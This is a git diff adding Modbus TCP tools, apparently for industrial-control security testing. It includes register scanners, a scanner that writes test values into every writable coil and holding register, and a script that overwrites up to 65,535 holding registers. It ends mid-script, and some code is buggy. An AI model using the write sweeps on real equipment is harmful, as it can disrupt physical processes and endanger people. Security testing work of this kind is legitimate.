if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + 